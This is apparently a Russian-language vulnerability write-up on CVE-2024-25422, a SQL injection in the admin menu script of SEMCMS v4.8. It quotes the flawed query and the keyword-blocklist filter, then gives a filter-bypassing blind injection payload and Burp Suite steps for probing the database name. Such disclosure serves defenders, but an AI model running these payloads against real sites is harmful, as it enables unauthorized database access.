
В semcms существует SQL-инъекция (CVE-2024-25422)
Введение в Semcms
SEMCMS — это система управления контентом (CMS) для сайтов внешней торговли, поддерживающая несколько языков.
v4.8 Download Link: http://www.sem-cms.com/TradeCmsdown/php/semcms_php_4.8.zip
Причины возникновения уязвимостей:
/xcR45q_Admin/SEMCMS_Menu.php, строка 66
Код уязвимости:
<?php
} elseif ($type == "edit") {
$row = mysqli_fetch_array($db_conn->query("SELECT * FROM sc_menu WHERE ID=" . $_GET["ID"]));
?>
Видно, что здесь ID выполняет SQL-запрос при передаче параметров через GET.
Код фильтрации в /Include/contorl. PHP
Строка 151
function test_input($data) {
//$data = str_replace("%", "percent", $data);
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data,*ENT_QUOTES*);
return $data;
}
И 8-я строка
function inject_check_sql($sql_str) {
return preg_match('/select|and|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str);
}
function verify_str($str) {
if(inject_check_sql($str)) {
exit('Sorry,You do this is wrong! (.-.)');
}
return $str;
}
Отфильтровав вышеуказанное содержимое, мы можем сформировать payload
-1%20or%20length(database())%20REGEXP%20char(94,53,36)
Воспроизведение уязвимостей
Посетите веб-сайт
http://url/xcR45q_Admin/SEMCMS_Menu.php
Перехват пакетов Brupsuite. Поскольку длина имени базы данных при создании нового сайта равна 5, payload формируется как
-1%20or%20length(database())%20REGEXP%20char(94,53,36)
(Проверка, равна ли длина имени базы данных 5)
Вставьте payload и посмотрите на отклик

Изменим payload на этот раз
-1%20or%20length(database())%20REGEXP%20char(94,54,36)
(Проверка, равна ли длина имени базы данных 6)
Изменим payload на этот раз

SQL-инъекцию можно продолжать на основе изменений на странице в будущем.